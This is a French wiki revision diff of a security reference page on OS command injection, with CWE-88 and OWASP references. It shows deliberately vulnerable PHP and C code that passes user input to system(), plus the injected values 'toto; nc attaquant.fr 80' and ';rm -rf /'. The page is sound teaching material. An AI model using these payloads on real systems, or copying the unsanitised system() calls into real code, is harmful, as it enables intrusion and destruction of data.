Outils pour utilisateurs

Outils du site


cyber:vulnerabilite:commandinjection

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Les deux révisions précédentesRévision précédente
Prochaine révision
Révision précédente
cyber:vulnerabilite:commandinjection [2025/07/03 11:51] admincyber:vulnerabilite:commandinjection [2025/07/03 11:57] (Version actuelle) – [Exploiter] admin
Ligne 34: Ligne 34:
 ==== Exploiter ==== ==== Exploiter ====
  
-Consulter les solutions de chaque challenge.+
  
 ===== Conséquences potentielles ===== ===== Conséquences potentielles =====
Ligne 61: Ligne 61:
 La variable **$userName** n'est pas vérifiée pour détecter les entrées malveillantes. Un attaquant peut définir la variable $userName avec une commande OS arbitraire telle que : 'toto; nc attaquant.fr 80' La variable **$userName** n'est pas vérifiée pour détecter les entrées malveillantes. Un attaquant peut définir la variable $userName avec une commande OS arbitraire telle que : 'toto; nc attaquant.fr 80'
  
-<cadre class="PHP">+<code php>
 $userName = $_POST["user"]; $userName = $_POST["user"];
 $command = 'ls -l /home/' . $userName; $command = 'ls -l /home/' . $userName;
 system($command); system($command);
-</cadre>+</code>
  
 ===== Exemple 2 ===== ===== Exemple 2 =====
Ligne 73: Ligne 73:
 Comme le programme s'exécute avec les privilèges de l'administrateur, l'appel à **system()** s'exécute également avec les privilèges de l'administrateur. Si un utilisateur spécifie un nom de fichier standard, l'appel fonctionne comme prévu. Cependant, si un attaquant passe une chaîne de la forme **";rm -rf /"}** alors l'appel à system() échoue en raison d'un manque d'arguments et continue à supprimer récursivement le contenu de la partition racine. Comme le programme s'exécute avec les privilèges de l'administrateur, l'appel à **system()** s'exécute également avec les privilèges de l'administrateur. Si un utilisateur spécifie un nom de fichier standard, l'appel fonctionne comme prévu. Cependant, si un attaquant passe une chaîne de la forme **";rm -rf /"}** alors l'appel à system() échoue en raison d'un manque d'arguments et continue à supprimer récursivement le contenu de la partition racine.
  
-<cadre class="C">+<code C>
 int main(int argc, char** argv) { int main(int argc, char** argv) {
     char cmd[CMD_MAX] = "/usr/bin/cat ";     char cmd[CMD_MAX] = "/usr/bin/cat ";
     strcat(cmd, argv[1]);     strcat(cmd, argv[1]);
     system(cmd);}     system(cmd);}
-</cadre>+</code> 
 + 
 +====== CWEs ====== 
 +  * [[https://cwe.mitre.org/data/definitions/88.html|CWE-88 : Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')]] 
 +The software constructs a string for a command to executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. 
 + 
 +====== References ====== 
 + 
 +URL : 
 +  * https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection.html
  
 ====== Retour fiches vulnérabilités ====== ====== Retour fiches vulnérabilités ======
cyber/vulnerabilite/commandinjection.1751536283.txt.gz · Dernière modification : 2025/07/03 11:51 de admin